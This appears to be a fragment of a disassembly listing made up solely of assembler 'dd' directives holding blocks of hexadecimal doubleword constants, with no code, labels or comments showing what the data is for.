		dd 1B267067h, 97EFC200h, 1F60DE47h, 4D747Fh, 581AE0E4h
		dd 5BA3545Ah, 0C0801D48h, 0BB2BFF53h, 8CA9512Fh, 7A17FCh
		dd 0CD7C6534h, 4EED15A3h, 88D80902h, 62EF40B8h,	465E60C1h
		dd 0B32A01EBh, 0CFFFB2F9h, 0A59CC05Ch, 0A2C9F000h, 0BF3BE810h
		dd 8D0300B7h, 0F9468BEAh, 8E0009ADh, 0EFA4BB47h, 371660Dh
		dd 0C1DADFDCh, 0B0D743FBh, 0AA69CC8Fh, 6087A400h, 0E81EA378h
		dd 98A0710Dh, 4CF9F230h, 6A00E4EFh, 0E3609E66h,	530015DBh
		dd 0C68B5054h, 740C8CFh, 0EDB97DBAh, 0A231D004h, 0A71FC975h
		dd 2281EE18h, 88B46891h, 0FE26D9F4h, 92D805BDh,	205D8FD3h
		dd 9E4F57D0h, 0BFE9E400h, 2A6F05F0h, 900901B9h,	0F16C598Ah
		dd 25E0CD7Bh, 2320C8FCh, 0BC2558C1h, 1992D434h,	0E154006Ch
		dd 0EB8FC360h, 0F4C672C4h, 281D6880h, 0FC6D0115h, 80F8DD3Eh
		dd 8450D4C2h, 8DC5A200h, 0D6A0A9Fh, 14B89055h, 0F883285Dh
		dd 2AF79900h, 0A36F1245h, 217ABA7Bh, 97FE2F00h,	8AAC220Fh
		dd 82E91EBCh, 0F85EC042h, 6FD9A8BAh, 4D9A3301h,	45F9D7E3h
		dd 0B82036F5h, 9B6420C4h, 0AAE05678h, 0E9204200h, 554EFDF0h
		dd 1E9D794Bh, 8F9F6EFBh, 16600D2Ch, 0D013969Ah,	28EFB301h
		dd 62AAB0A9h, 94A3570h,	2BED855Bh, 88E7BC40h, 1E88FD54h
		dd 9A003170h, 9E4399A8h, 16A91CAh, 0D1152F58h, 804163E9h
		dd 9C957928h, 71B9354h,	8D07D314h, 60708785h, 0EABB8F38h
		dd 49849A00h, 8C7242D8h, 22B600DCh, 197BB0F6h, 7D03AB25h
		dd 0A6D29E97h, 30A08C7Eh, 9F710195h, 86540F94h,	0FC3820D7h
		dd 55243600h, 0A1FA575Ch, 10923E66h, 0B8D41189h, 4620DC00h
		dd 95001278h, 985ECB9h,	52FE6434h, 1E00ACC0h, 5028E751h
		dd 0CCA81442h, 9624228Ah, 13018D30h, 891175ABh,	0E07D9C8h
		dd 4627F184h, 836E55C0h, 0FC59AF67h, 4A360E18h,	0D3FD027Eh
		dd 2D4E03B7h, 1BF775E0h, 796F5900h, 93187D39h, 9BEE00BFh
		dd 0B5BAB8A2h, 33003031h, 0D16A9725h, 3D3FF58Ch, 68813AD0h
		dd 325D7298h, 1680E719h, 4000F16Dh, 91CD2262h, 1E6971EAh
		dd 19D28B12h, 0F4498837h, 0BE7FDC51h, 1967FD01h, 81B15D8Ah
		dd 4C2D6670h, 860034A2h, 4D47F6E5h, 0E200C045h,	36D41905h
		dd 81B9C3h, 0FFF21ACBh,	0D9BBEE83h, 741C5024h, 64051424h
		dd 58806872h, 0F8F91860h, 7BA7012Bh, 0E6977E51h, 0C432C8h
		dd 80F8B54h, 1C5EEED9h,	8010C141h, 0D86560DDh, 3902C5A7h
		dd 0BE771C4Ch, 0F7D580AAh, 16C25Dh, 0B61F7244h,	0BD7FD29Dh
		dd 23888000h, 0C989C7D7h, 0D03D014Ah, 46B9519Fh, 75D08219h
		dd 6307BDD4h, 66A6F8B4h, 0C08A0586h, 0D0CC41BCh, 804DE8A8h
		dd 0C19D1A00h, 3C118DF4h, 8906006Ch, 3B77E1AFh,	0EF0C5926h
		dd 984A9830h, 92C200ABh, 8381DEAh, 0B30E1B64h, 4191197Dh
		dd 0EE7C0FE1h, 17610820h, 1851765Ch, 8657EE6Ah,	68203300h
		dd 9EC9DB7Dh, 0DC431271h, 846C049Fh, 800B5D5Fh,	1F94201Eh
		dd 1DA50A8Eh, 8059F639h, 5D03413Eh, 0AA309C64h,	0ECB130DAh
		dd 0FC931662h, 1270099Dh, 0C025E805h, 0AB7C717Ah, 511B8030h
		dd 38750BBh, 0EAD5040Bh, 1900455Ah, 0CDD952D1h,	2AF29Ah
		dd 0AF65083Dh, 0E612A2A0h, 7B9E4C1Dh, 41D8EDC3h, 766AD84Ah
		dd 0DCC13A1h, 0B65CD033h, 294C7BE2h, 1F8D48CBh,	67C0811Bh
		dd 795E379h, 1F6FA5Bh, 55A0B9A8h, 0D8022049h, 5E00FD23h
		dd 0BFDCC214h, 0F366174h, 0FA0CBE1Ch, 0AA405818h, 3A157678h
		dd 19085303h, 0BA21D8D2h, 4AE934E0h, 265800B6h,	0C3B5F012h
		dd 0A8D33Ah, 406B3F20h,	0C0E976C2h, 88415618h, 6C010BF3h
		dd 4FAFBBD6h, 4200C28Dh, 0E7095AE3h, 57A676h, 82DBFC9Dh
		dd 0D9F105D5h, 0D0603788h, 0A6D39F9Ch, 6724B509h, 86F38748h
		dd 17219040h, 30926Bh, 4DCC838Fh, 0B05A5464h, 0F497C600h
		dd 9AFF5F0Bh, 0EA120C27h, 0A0B8A4C5h, 8F01505h,	2CB5728Bh
		dd 8F84041Bh, 0A0E4A01Eh, 3CFC59h, 16389E07h, 6939A7h
		dd 0F4F9D63h, 6C33F2A4h, 7D96A000h, 1E06B1A3h, 9529C83Dh
		dd 24F76C42h, 8CC04082h, 1329BE4h, 0A90D99FEh, 60881076h
		dd 0FB0083F4h, 743D6193h, 1314F86h, 0A8E64C99h,	0C55CC213h
		dd 0D7D3F88Ch, 47B1FE00h, 0FAA95D7Ch, 64B034h, 0E43C4320h
		dd 7783F273h, 4B8C7100h, 7B51BE2Fh, 28DA162Ch, 0CE30001Eh
		dd 0E26F1107h, 868D3102h, 0A0D1DEB8h, 3AC95784h, 0D30008Eh
		dd 1C6FD6CEh, 8A3DFBCFh, 0A37B1D58h, 0EA83D4A6h, 0E05E55EEh
		dd 38FCBF67h, 90004B9Ah, 0B5A252A9h, 240E187Eh,	0AC894EEFh
		dd 4B1561BBh, 1A304435h, 5DEDC0E0h, 0E3FA1894h,	44013073h
		dd 0F9A3633Eh, 9760C3ACh, 0E45E5C35h, 99DBED00h, 3BCCD27Bh
		dd 0AF642500h, 75A66854h
		dd 0ACCD0EF4h, 0C9805A1Eh, 0CA5BA4F3h, 0F9007473h, 0CE1734B6h
		dd 3C9710FCh, 4DBA4A8Dh, 66E0E100h, 27E6AEC5h, 0AD452500h
		dd 35EE96BFh, 55480FC0h, 0BDA199C8h, 0CCF958C6h, 0FA01017Bh
		dd 0D5461964h, 1881C552h, 0FE99B238h, 47B480D4h, 0F26243B0h
		dd 235D0EA2h, 0C1A381CEh, 0D4809154h, 0E3004131h, 83FE6DEh
		dd 0B8B29F05h, 3EEF0056h, 0D5EC288Ch, 7D012719h, 7B914BB8h
		dd 0F271F850h, 21A8A000h, 79A10034h, 19693FECh,	6001E0F3h
		dd 20D304A5h, 90003D22h, 0B400D9EAh, 723A5196h,	75ABD005h
		dd 5E4100E3h, 0BB87DD65h, 0B301BAB6h, 67E896EEh, 35DCB492h
		dd 0D89455h, 0E74421Ch,	0E800B591h, 60300581h, 17A4BCFAh
		dd 412F6BD5h, 3E4C24A8h, 0B69FE410h, 921E8605h,	0C8C0FC2Ch
		dd 720D71A7h, 5D50985h,	0F480ED88h, 0AA72585Dh,	1CAE4F00h
		dd 0FF6F1561h, 8E322FCDh, 7BB26000h, 2909432Ah,	2591195h
		dd 0E97A8D18h, 0F2F5BD90h, 4F4CF889h, 3EA3C8A1h, 0C0288158h
		dd 7B8BFB7h, 48729830h,	390038F0h, 818901D1h, 0BC186C50h
		dd 0B918DD4Bh, 72400A4h, 0B7637364h, 9300B546h,	0AC2CC0F6h
		dd 7045567Ch, 0BBC009Ah, 0B9A25FCAh, 2E0339EDh,	6C042AF7h
		dd 1F30D7ACh, 120B5B5Dh, 804438D5h, 0C7CED0D8h,	423E431Ch
		dd 0B8B1B980h, 2A2FB3h,	9FE3292Ch, 1258A0A6h, 5919400h
		dd 0BA0A2B5Dh, 7F9E02CEh, 0FB184530h, 608D00C0h, 4EB1491Fh
		dd 6AD8BD41h, 38F8A7ABh, 0CAFCE585h, 4D010061h,	0AAA0053Bh
		dd 0BD000A33h, 8074B6D3h, 2BF6F9h, 0E71158ABh, 0C667633Dh
		dd 37684300h, 0DA0EFBEAh, 0A5E20032h, 3F46280Bh, 4590DED7h
		dd 0D2BDF100h, 775AADFCh, 0D49092h, 98CBB47Ch, 3FD140F2h
		dd 8470373Ch, 0C42BE256h, 9131DDC7h, 0CC435E0Bh, 0E04C82D8h
		dd 28AF9790h, 0FCEB87ECh, 69400C0Ch, 0F690DB7Ch, 0E1925500h
		dd 705B3E75h, 0E8BC6016h, 8BD1A49Dh, 9E018EF8h,	0E12D9251h
		dd 2420D5AAh, 78CA0132h, 98A7A4ADh, 0FB986005h,	0AFA06600h
		dd 0A91F177Bh, 4A370287h, 6B369C30h, 0D7007478h, 24D33BA1h
		dd 985AB7E8h, 0E05F0FA0h, 0EE2C13EBh, 0DAFEE1C8h, 0D2B8EA00h
		dd 3AABB3ADh, 4CF90092h, 949818E0h, 0CF097B63h,	9ACB5Eh
		dd 1633B73Ch, 3CFC2CD1h, 0E0CE0068h, 8B5F3D24h,	0C6E73A02h
		dd 0C8597BACh, 0B84D52E4h, 9C2A0074h, 6191D673h, 0A45C45A9h
		dd 0E71A00C4h, 0DFD31FBh, 0CC9002CAh, 5EA878A3h, 55D8BEC0h
		dd 14284774h, 5000D822h, 2BF9EBE4h, 9E565EC3h, 0A4F18038h
		dd 669ACF51h, 91F50100h, 8B4AC877h, 0E44B1Ah, 4763868Ch
		dd 0F601E92Dh, 0B669BC28h, 0B420F00Eh, 0FEA10097h, 8643C134h
		dd 0B34D6E38h, 5A2220E4h, 461440EEh, 8CAC9042h,	0F492164Ah
		dd 0F050433Eh, 6A6D9AFh, 3FC85ADFh, 7405E01Dh, 2F07BCD3h
		dd 14005485h, 8E82B7A5h, 0F2010129h, 850B1877h,	20A4D17Ch
		dd 881857BFh, 0E098FE03h, 73A23DF4h, 3850ACh, 4C8BC12Eh
		dd 0F0005821h, 0D02D3B8h, 9851BF74h, 37EF3A07h,	0ECBC28h
		dd 0D09FB3F9h, 0B1615A7Dh, 0E8A1007h, 1D408796h, 0C1D2A720h
		dd 0F5C89CC1h, 6B37FC8Eh, 0AE840100h, 243A7AE0h, 0ADEB0055h
		dd 0E263CD1Ah, 9001BFCCh, 7361FE8h, 0F54018A1h,	2D279119h
		dd 11D08BF2h, 0E8068512h, 0D8DD5C07h, 0EFF1B5C6h, 0C88193FDh
		dd 8BF02617h, 6192C816h, 6A9C0900h, 6EA28942h, 0CDB90045h
		dd 3444F69Eh, 0C30755E3h, 0DC1D9D97h, 0EB15A6C0h, 23E40051h
		dd 5DA4019Bh, 85E6941Bh, 94007B4Ah, 0CA101998h,	868A0006h
		dd 0FC03797Eh, 7400F2F5h, 0EE676870h, 0DB22E8h,	0A4CBD95Dh
		dd 96835173h, 0F8C7E900h, 7142600Dh, 0A8D40281h, 9D097A11h
		dd 0F3B2D440h, 146D5Ch,	48952C57h, 9EB4A14Fh, 0B41E92F0h
		dd 9BFC684Ch, 0EF93CB00h, 8CF32435h, 52830017h,	0B1E5762Ch
		dd 249C57CDh, 0F3B614h,	0CE04960Fh, 1460F1ABh, 0F8D14A2Dh
		dd 0D33E900h, 9FBC90D2h, 0EF406C94h, 94142116h,	9EE98028h
		dd 0D582D7A2h, 0EFA4FB02h, 87152117h, 0A234E710h, 4CD16C95h
		dd 99D07F29h, 18796360h, 10115726h, 873CC8DBh, 8797F312h
		dd 5468044h, 5360909Ah,	36487721h, 687600A2h, 0A5A7F589h
		dd 2A24D3A9h, 771FF025h, 932F9200h, 7DE386Ch, 76659C5Ah
		dd 0C2203F90h, 0A2F5E9AAh, 0D552DB00h, 3785D9EEh, 86A49461h
		dd 0F9B5A7D1h, 76AA3A00h, 7A4EA040h, 4B104A3h, 0A051DC68h
		dd 6206B640h, 6A0AEDBh,	0E8AB00E9h, 0FEFCBC18h,	0EBECC019h
		dd 570A9516h, 5D736102h, 0C488C186h, 9FD49280h,	0F0FC3625h
		dd 0DA0092F4h, 0B1C0B6C3h, 33516DEh, 9417EEF8h,	0D2A8B9C6h
		dd 6F0E9FCDh, 478A7D7Ah, 80C0A6B4h, 988EC345h, 0BDFD0027h
		dd 0CB0864A2h, 0FE005338h, 654A24BFh, 0C3F75Dh,	77F74C7h
		dd 0DBAE8A98h, 0E305D026h, 40D1060Eh, 0A4CCFE24h, 0B25A008Bh
		dd 0CD038208h, 9B0E8037h, 0E0D0226Ah, 970D6F76h, 0D7AE0091h
		dd 8046F360h, 81F69EA4h, 0B6BC1200h, 0FD5FC8Bh,	0E28A0067h
		dd 4EA7067Dh, 1C96D279h, 0F9C0845Eh, 0CFE044Fh,	10442686h
		dd 0BE8DFCBAh, 0C75F08A4h, 9EAE7388h, 0BA18606Fh, 0CB2994CCh
		dd 0B0E888C4h, 78085B89h, 84B79244h, 42B2A322h,	91AF1147h
		dd 1042847Fh, 61083321h, 940F909Ch, 1F296426h, 129A2C21h
		dd 0BCFC10FBh, 0AC080B89h, 84E72444h, 22C1D022h, 0EE224CF7h
		dd 11534227h, 0E321C3ABh, 9026E808h, 427B883Fh,	0E82F4ACFh
		dd 842B902Ch, 0BB48C8ECh, 24296E42h, 5D5B4397h,	0CFC9C053h
		dd 3D4200CAh, 0B6BA3F47h, 2C00B4B9h, 0A72D322Bh, 131DE01Eh
		dd 0C7B76790h, 0BF0CB088h, 8600A5D1h, 0ED184532h, 58C53DD3h
		dd 0EE0B4497h, 34E02A2Fh, 400139ECh, 1C57B53Ah,	17D8D112h
		dd 63F4F8h, 0BFA8F7A1h,	4F79ACFCh, 462D3801h, 4B5BCB8h
		dd 7F129460h, 81B300E3h, 4D91F682h, 22006F58h, 8D57BB2Ah
		dd 1F285E2h, 0D8BE3493h, 0D8F38B28h, 1700AAD0h,	0DC0D52F1h
		dd 1888D77h, 882356Eh, 0CB06A25Ah, 0EF8336F2h, 0F490AE46h
		dd 27E02402h, 0E2403812h, 68706849h, 76308F4h, 0A680F851h
		dd 0EE747022h, 71007852h, 0BC0FD977h, 6A1C6Ch, 51D8C0EFh
		dd 0ACFBD3AFh, 0CDC35900h, 0BF10CE64h, 0B84F0355h, 5FE3A39Eh
		dd 0DB5DE0A8h, 68FF7800h, 157F50Ch, 73D2091Ah, 9C7A02A3h
		dd 4490194Ah, 25E6F926h, 0F040F294h, 530027C8h,	6C3C63DAh
		dd 4E7CABh, 92B5DF8Fh, 383941FBh, 0E0796700h, 5B59069Ah
		dd 731817E5h, 6AE000DBh, 74588982h, 50DE3000h, 0D3020981h
		dd 54F16ECh, 0C00100B4h, 0FD67280Fh, 0DC13F819h, 0E7C80D38h
		dd 2D570087h, 0DACCE1F3h, 3F07F8E8h, 0C46D5E1Fh, 7CBD16h
		dd 35C3313Bh, 9CEEEF3Ah, 3ECDFD00h, 1CE28363h, 0B9640080h
		dd 0A2D6C636h, 0EF0047FCh, 0C4299F52h, 0FBD49C8h, 8573436Ah
		dd 0F5CAAA80h, 720055A8h, 167EADB9h, 7849BA8Fh,	795700DFh
		dd 141B95E2h, 68F8FAA5h, 9E17D800h, 1C531398h, 0F08A0589h
		dd 80B8F16Fh, 6D48528Ch, 0FABB2000h, 702D97E2h,	0A70D14DBh
		dd 170085E6h, 8FF6C59Ah, 0EA00F78Eh, 624BD4BCh,	3FBD4D32h
		dd 3C82A7D9h, 0B0781D53h, 4071ACC1h, 14627AFh, 5016FC1Eh
		dd 62C62F80h, 9C257AB2h, 34F10090h, 0D2BAEC79h,	2C5D4A01h
		dd 74C5D449h, 250DCFCh,	0B28E868h, 68F8B65Ah, 0A061362Fh
		dd 0BC133818h, 73B91ED2h, 0F2B60983h, 4FCA400h,	8F00BD05h
		dd 1F600237h, 0E2F59CDh
		dd 0F646295Dh, 26D55E01h, 4D38C8A9h, 90345Dh, 3E2B7B85h
		dd 5E768612h, 0AF40052h, 357D122h, 915F921Ch, 0F4808913h
		dd 0FD9535h, 0A0063748h, 0CB114FAAh, 1AAED8C4h,	809E6CA8h
		dd 77A33223h, 34487506h, 6CEC009Ch, 0B7463FBBh,	0FD1A0088h
		dd 847917A6h, 0EF251443h, 0F9CC4E0h, 6BE9273Fh,	0F77046C7h
		dd 9DB06C96h, 77406800h, 0EAB5DA0Eh, 2C520285h,	0E1C3FA63h
		dd 0CD3D0D61h, 4A6BE4D0h, 28753Eh, 389EF002h, 19687Bh
		dd 8D5AF3B0h, 82C09823h, 0A2B1E00h, 5B2704C1h, 0F59900CBh
		dd 680D432Ch, 7F05B09Dh, 65AF291Dh, 200088E6h, 0A55BFAEBh
		dd 0CF04A0B5h, 0BA8011D6h, 92B86CD0h, 3C553E42h, 16D4B97h
		dd 0C614EC87h, 0F2F9D091h, 7AADDD07h, 9B702186h, 0E604AB1h
		dd 0A82F2927h, 9E146442h, 18905663h, 3B008D6Fh,	9171B519h
		dd 37AF89h, 272346F6h, 6D06B120h, 8B0040E0h, 2D586993h
		dd 4E1716h, 79B91FB7h, 10A756C4h, 0FC068100h, 0BAC244Fh
		dd 74B00077h, 11FEC63Fh, 95003378h, 0DFD6F74Ah,	478B2Bh
		dd 0F1F8017Ah, 556675EEh, 8DFE2A00h, 0C0EB0818h, 0AAEA0E6Eh
		dd 40E06783h, 1BE0F8F1h, 81742Eh, 18202316h, 0F2A5B42h
		dd 0A0D4BA0Dh, 14412CE1h, 0EA83CF7h, 0A1AE56E9h, 2F262BAFh
		dd 72A0E0C8h, 975800A4h, 0F9CF151Ah, 9C010C7Dh,	0E5717775h
		dd 0C64010C4h, 281243Eh, 5BCC7B86h, 34404411h, 0BE006FF3h
		dd 0ACC90228h, 0AB7F82h, 0DC1EC80Eh, 0A984E385h, 7028DD00h
		dd 4B54ACA3h, 138800C3h, 604E07Dh, 0A5009509h, 81BC806Bh
		dd 16C02433h, 0F86FB40Dh, 99CC0042h, 72D158C9h,	0B9F8A9h
		dd 27A71A31h, 0BA1D103Fh, 3C75023Bh, 9D0701AEh,	8701C099h
		dd 6B1AC4h, 53976F44h, 694EDBB2h, 81003373h, 0E389E5C2h
		dd 26C92259h, 0FCB838h,	0DE242D2Ch, 9A799E1Ah, 178D27h
		dd 7C84881Ch, 0FD02007Bh, 0EE306EF6h, 65F6B8DFh, 802A573Dh
		dd 74A1CEDBh, 2958256h,	8DE5BCE8h, 0D0C093F5h, 7942FFBEh
		dd 0B4E6D601h, 6C35CE62h, 0DD7E1464h, 32841E8Ah, 0E247807Dh
		dd 0AC430D11h, 96FE52h,	8B04CC30h, 4FF05181h, 0D3835303h
		dd 0C9E936A4h, 65307918h, 0A5C10038h, 22FF2955h, 8B00B0CBh
		dd 20AC759Ah, 13446FEh,	0B906DDE4h, 60CA8366h, 0C839E84Dh
		dd 85F08052h, 972FC1E9h, 0D4F50048h, 991747DFh,	5D03CE79h
		dd 0E15035C7h, 0E40DA0BBh, 90A900D6h, 2F631F5h,	11E24E9Eh
		dd 0CEF96500h, 0A8BC0167h, 987200D7h, 5E7D45C5h, 973CED29h
		dd 6CCA008Bh, 0B506895Ah, 589C002Dh, 7A27E031h,	1E0938D4h
		dd 7E07DDh, 543D8F6Ch, 27723h, 277897C7h, 0DAEE0F40h, 6280AD00h
		dd 55F82552h, 0B9A75C0h, 9B12D61Ch, 108C5D80h, 303C70Dh
		dd 65788086h, 0ACF19BE9h, 37996C80h, 1180087h, 22970BD0h
		dd 0A900E04Bh, 488EABC7h, 3679F77h, 0C9F0DB3Ch,	0B098B709h
		dd 0A7002B6Eh, 0DA8E94E7h, 5DCC3Ah, 257959ECh, 6D7CE19Dh
		dd 0A96FAE00h, 6AD03C52h, 3F90B2h, 0F3FDBA5Eh, 0D10D92C8h
		dd 6213D800h, 0FF7F6ADh, 552C00C1h, 1E34D779h, 22001AE7h
		dd 6DE91DB0h, 0C42F86h,	65A86CABh, 1E570CDEh, 98D98230h
		dd 1CAA9E9Dh, 0B56FEAh,	0F299356Ah, 78012697h, 9867CDC4h
		dd 57D04BEEh, 0B4AE00EDh, 0A4AAA28Dh, 0F0748B33h, 0E87D2224h
		dd 0B7E4CA00h, 34B47Fh,	0DF1A1D70h, 2636C62Ah, 58074500h
		dd 3138E7A6h, 5AF13C91h, 0B5E00FFh, 0A80DD0ABh,	22054B23h
		dd 86299E9Ah, 0E488C616h, 445F00CCh, 0A7FE832Bh, 6A58664Ch
		dd 98CD0130h, 93E27F0h,	0B51AE8h, 2A941C82h, 9F078FF4h
		dd 81006D7Dh, 253D1B92h, 0F6B4F258h, 286817CEh,	0E1470198h
		dd 0D853BD0Ah, 0EE2CB569h, 34053026h, 0E4C00C17h, 0F834EE8h
		dd 0D7748C30h, 0FB9CFE0h, 0A900D8EBh, 823F1A92h, 785045E9h
		dd 5B6B00BDh, 9969152Eh, 0AD0F2C01h, 40948052h,	936D08F9h
		dd 41030488h, 0C0B504C3h, 0FF963EA4h, 0BA244200h, 0E5DEC4F2h
		dd 588412F5h, 0D6CC0065h, 50134892h, 0EA1148h, 66C8B97Fh
		dd 0E4B2AEBBh, 0AAFB0ACEh, 1CE5A958h, 0D84505E4h, 0FA34F073h
		dd 0FCDED500h, 0D3CB7E58h, 0E9B500CCh, 678E8335h, 3700F938h
		dd 0BC2C9D6Dh, 25E591C0h, 38C07DC3h, 4D00A3AEh,	767CF5C5h
		dd 7AF0696Eh, 1DEC0FEAh, 0FD611E4Fh, 70C9667Fh,	0C40398D0h
		dd 330A8AF1h, 0ABBFE867h, 367600DCh, 0A9E75120h, 5F09C916h
		dd 52BBC8DEh, 9D0302E8h, 1577A814h, 87EEF3C0h, 5089FF02h
		dd 0E0DE0BC0h, 2CCC51D0h, 80E84FE6h, 80E51754h,	2F00EE66h
		dd 0E796DAF6h, 0F18691h, 633FAFAEh, 0D6A06404h,	0CD4DB02h
		dd 602F7285h, 1CF2A4h, 0E8188610h, 30018217h, 85BA18CFh
		dd 30C2B944h, 91202E85h, 3C257597h, 0B7900B00h,	0DD6ADB87h
		dd 0D814496Bh, 7B4B017Fh, 0AD58E58Dh, 0DE57C855h, 6909600Fh
		dd 80A4CB81h, 0D82D11D0h, 0A860049h, 7CF70207h,	0B6B84478h
		dd 76F3F5Ch, 1B58D1F6h,	4CBA5653h, 5400286Ch, 0C1864B55h
		dd 3A0AC2C7h, 0FA373F35h, 24ACB000h, 252A23h, 161896DFh
		dd 8DAF5F88h, 26693F4Ch, 9D003804h, 103D2A7Eh, 35CB0CE5h
		dd 0E6F092CDh, 8622701h, 7F6939EFh, 9F445FCh, 6285711h
		dd 40C3BE80h, 52503470h, 0CA0FC2A8h, 204D4BE9h,	0CB3CEBA3h
		dd 841D4C5Ah, 0E0A42402h, 0A476907Bh, 2E2C1400h, 1F2DBDh
		dd 0C546280Ah, 0FBA0685Eh, 12A5391Fh, 7BA430C2h, 0BF0A60C2h
		dd 56863DF7h, 14857580h, 71740AC0h, 0E37A0106h,	11D94Eh
		dd 0C7755FF1h, 0A3776231h, 87240825h, 0A0F0E3B8h, 0F1551095h
		dd 8804DC28h, 0A07D0C9Dh, 90503984h, 0F400388Ch, 0D273A69Eh
		dd 0EB5750Fh, 53D461F0h, 0A27EFE80h, 40C08AF9h,	1E1357E6h
		dd 653E0495h, 0F05DBDF2h, 1731DD9Ch, 0FC15596Ah, 0D42CF8h
		dd 56F51BAEh, 6BAFE211h, 2B6A63Ch, 18230F65h, 98046325h
		dd 545CC1h, 0D253C47Dh,	0AC71783Ch, 15682C00h, 560D751Ah
		dd 0C80402FFh, 0BACB1FCFh, 9700D874h, 0FBC6EA85h, 0D1B10061h
		dd 0FF8276B8h, 0B90339E4h, 0CCACB2A9h, 7356A8F8h, 0D54701BAh
		dd 80F90C55h, 0D83ACC6Dh, 70E9CD00h, 97EFDA14h,	0EBE7AB5h
		dd 0BA4A7F1Ch, 9B761B40h, 2300B401h, 0FAFCB8Bh,	0CFA9103h
		dd 42649D8Ch, 0AD1E4F30h, 89C14ED6h, 7179A21Ch,	1D45DDCCh
		dd 0C03F1793h, 0D09DB51Eh, 4E00DE7Dh, 0D24A2F61h, 7069A549h
		dd 769A09D4h, 0DE809D1Bh, 37A74F01h, 8118A01h, 0C3DC98C7h
		dd 31B6864h, 2D2EC0CFh,	9BA82C46h, 4500A69Ch, 0ED95A99Dh
		dd 1C06F3C3h, 85B6276Ch, 87FB9BEFh, 0B991E074h,	0EE00F4EAh
		dd 77686EEBh, 13F72E3h,	9BD2675Ch, 0E03743F9h, 41E4558Dh
		dd 0E88F017h, 6F04C700h, 5E573Ah, 0F4BCC63h, 0A47D053h
		dd 83879103h, 0E8FC057Eh, 38575F59h, 0C580CA94h, 90C3D815h
		dd 212E32E8h, 5100C4EDh, 4481F842h, 0C8361EDFh,	35928F8Dh
		dd 250F0B80h, 0E87140E2h, 8637D800h, 8415B724h,	30A858DBh
		dd 3EB9F70Bh, 456CD80h,	0B61607DFh, 4100E163h, 6BC7F80Fh
		dd 0F961007Eh, 139135A5h, 5B00F052h, 6878243Dh,	77712BFh
		dd 0C15E1DDAh, 0F5FF6090h, 1E09A1C5h, 78F3BCD4h, 0E97A004Ch
		dd 465BD1B5h, 0B70F6C0Fh, 0A10774A3h, 0CEAD0D60h, 0F25436FCh
		dd 59BB092Fh, 6A87C713h, 0EA5E804Ah, 0E5022A47h, 5876A7D2h
		dd 5A204044h, 0AED9006Dh, 354E3B87h, 36787989h,	0FCD4D600h
		dd 7F345A8Bh
		dd 0A52A07CBh, 2543A49Dh, 47DD0009h, 9386D915h,	0D36FF800h
		dd 8F990EA7h, 520A005Eh, 6136B44Dh, 25004AC9h, 20B6292Eh
		dd 0E713BEh, 24DA854Fh,	0D8D63C89h, 64B70200h, 587E36D5h
		dd 0A6E100C2h, 1766393h, 6F00C8F8h, 9A30EE91h, 0A7E54Fh
		dd 7EE95A11h, 0E8122251h, 5384532Eh, 655FC500h,	2673E474h
		dd 155D40h, 4233FB9Dh, 0B1006D12h, 0EB719250h, 0AFD202h
		dd 294C7DE2h, 83959F5Eh, 5F822801h, 0C66BD045h,	13805DCEh
		dd 18C30A07h, 80F57C3Fh, 957B0319h, 396764h, 0BE0204D2h
		dd 0EC076B9Eh, 4441AB03h, 0BFA8C470h, 10478260h, 0D5B00F2h
		dd 2B7D4BCh, 5F3EC00Ch,	6CBB802Ch, 2BEB37F3h, 6F50171Eh
		dd 403E0ED2h, 66818B62h, 0CB9C9868h, 3EF49A03h,	0C32C3DD3h
		dd 0FA8FE14Bh, 0E410BE4h, 58A83463h, 0C0002369h, 0E5F244B0h
		dd 2A18B7F8h, 3719ADDAh, 1C0B8C6h, 84362E3Ah, 78651B33h
		dd 51610F30h, 57DC8079h, 787ECA4h, 0AC5DDF78h, 0FA03F52h
		dd 4050E6AAh, 8DBC4903h, 0E4CAE7FFh, 8900A0A8h,	58F127A7h
		dd 0AB4C95C7h, 0CC0F0E64h, 0B25D40FEh, 747125C6h, 956400BBh
		dd 61588DF1h, 8003F30h,	0D879B065h, 8760E5h, 6FA7579Ah
		dd 0D2BA7634h, 9E2DEE26h, 0C06B1100h, 0E68944h,	3C90B662h
		dd 0B3052253h, 0BD6C701h, 26793B03h, 6F2EF3F4h,	0D1E0D864h
		dd 4176DFA8h, 0EAD25E0Bh, 2B3440BAh, 0C07648h, 0CA3901A5h
		dd 90DDF2D3h, 0D76D2A05h, 83C4A107h, 0FCC154F0h, 17414C8Bh
		dd 60B617h, 0C3CC6C38h,	0C4581F81h, 0D2007340h,	29A81848h
		dd 5B80F8E3h, 2448C063h, 47265814h, 0CF0494F6h,	0CC03850h
		dd 3C8EB68Ah, 5600CA09h, 0F5C89B12h, 0E2043EA1h, 0A760C636h
		dd 0A226D8C1h, 98997CE4h, 1F1E685h, 4D7D63DFh, 60E4E864h
		dd 0D9009CB4h, 0F35E5660h, 70E34F9Fh, 0DD7E14h,	0FC5362Ah
		dd 77DCB53Dh, 0C8217C00h, 3A56CB6Eh, 0CC4001E1h, 42B758AFh
		dd 0B6F42026h, 0A2459901h, 95738E2Dh, 7C854F8h,	3ECACF0Dh
		dd 0B743E083h, 2BE6BBFCh, 0B01D621Fh, 80F8B83Ch, 0A8BAAF09h
		dd 0FB6CB4h, 7C2A498Dh,	1183BF05h, 0F393EE01h, 6809627Eh
		dd 59CCC1C9h, 58FCD3h, 76FEB11Ah, 3ECDBB93h, 69059D00h
		dd 12627444h, 0A41500A9h, 180D851Ah, 0BCFC86B1h, 0CDAC6B01h
		dd 12E2A645h, 0EDF9CC0h, 4C1BEC60h, 0BDE91820h,	2E007ED0h
		dd 0F4F738BFh, 76AB317Ch, 76870FBAh, 9B8027ADh,	4356670Ch
		dd 581AE800h, 3E9C1517h, 98F2008Fh, 41E2C29Fh, 3A3842CCh
		dd 0F197811Dh, 1051B064h, 20DDECh, 6CE2EEA0h, 549D3F39h
		dd 5FB758h, 55A1191Bh, 9290CFh,	0C5D947EDh, 7EF028D7h
		dd 7800E2B8h, 0F8FBCE75h, 7D2E8FCAh, 0CBE00085h, 5A0E8B50h
		dd 0F00FD29h, 0C85C88B7h, 648EBBh, 89D55ED0h, 0ED56A5BAh
		dd 6146090Eh, 0DE7BE01Ch, 38EA1E65h, 6808DB9h, 0A2911645h
		dd 0A6000EA3h, 41CE4459h, 0AF25D4h, 0EE8EFC01h,	1AEF405Eh
		dd 0F40E55B8h, 0D88AF8h, 0CAB5134Fh, 877C95h, 0E93D2C64h
		dd 3CD433B8h, 1B0AA900h, 94D54C42h, 0C4FB5C29h,	9CB9BB03h
		dd 9FCB9708h, 950577E0h, 0C3E85900h, 7A7CC068h,	80C2035Dh
